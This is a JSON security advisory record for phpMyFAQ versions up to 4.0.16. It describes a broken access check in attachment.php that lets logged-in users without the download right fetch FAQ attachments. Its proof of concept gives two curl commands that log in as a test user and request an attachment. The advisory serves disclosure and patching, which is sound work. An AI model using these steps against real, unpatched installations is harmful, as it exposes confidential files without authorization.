{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24420"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-23T20:17:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA logged\u2011in user without the dlattachment right can download FAQ attachments. This is due to a permissive permission check in attachment.php that treats the mere presence of a right key as authorization and a flawed group/user logic expression.\n\n### Details\nIn attachment.php, the access decision uses:\n```($groupPermission || ($groupPermission \u0026\u0026 $userPermission)) \u0026\u0026 isset($permission[\u0027dlattachment\u0027])```\nisset() returns true even when the right value is false, and the logic simplifies to $groupPermission for some permission modes. As a result, a user without dlattachment can still access the attachment.\n\n### PoC\nPrecondition: A non\u2011admin user exists; an attachment is associated to a FAQ record; records.allowDownloadsForGuests = false.\nLog in as a non\u2011admin user without dlattachment.\nRequest the attachment download endpoint.\n```\ncurl -c /tmp/pmf_api_cookies.txt \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"tester\",\"password\":\"Test1234!\"}\u0027 \\\n  http://192.168.40.16/phpmyfaq/api/v3.0/login\n\ncurl -i -b /tmp/pmf_api_cookies.txt \\\n  \"http://192.168.40.16/phpmyfaq/index.php?action=attachment\u0026id=1\"\n```\n\n### Impact\nUnauthorized users can download attachments (confidentiality breach). Depending on content, this may expose sensitive documents.",
  "id": "GHSA-7p9h-m7m8-vhhv",
  "modified": "2026-01-23T21:12:28Z",
  "published": "2026-01-23T20:17:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7p9h-m7m8-vhhv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: Attachment download allowed without dlattachment right (broken access control)"
}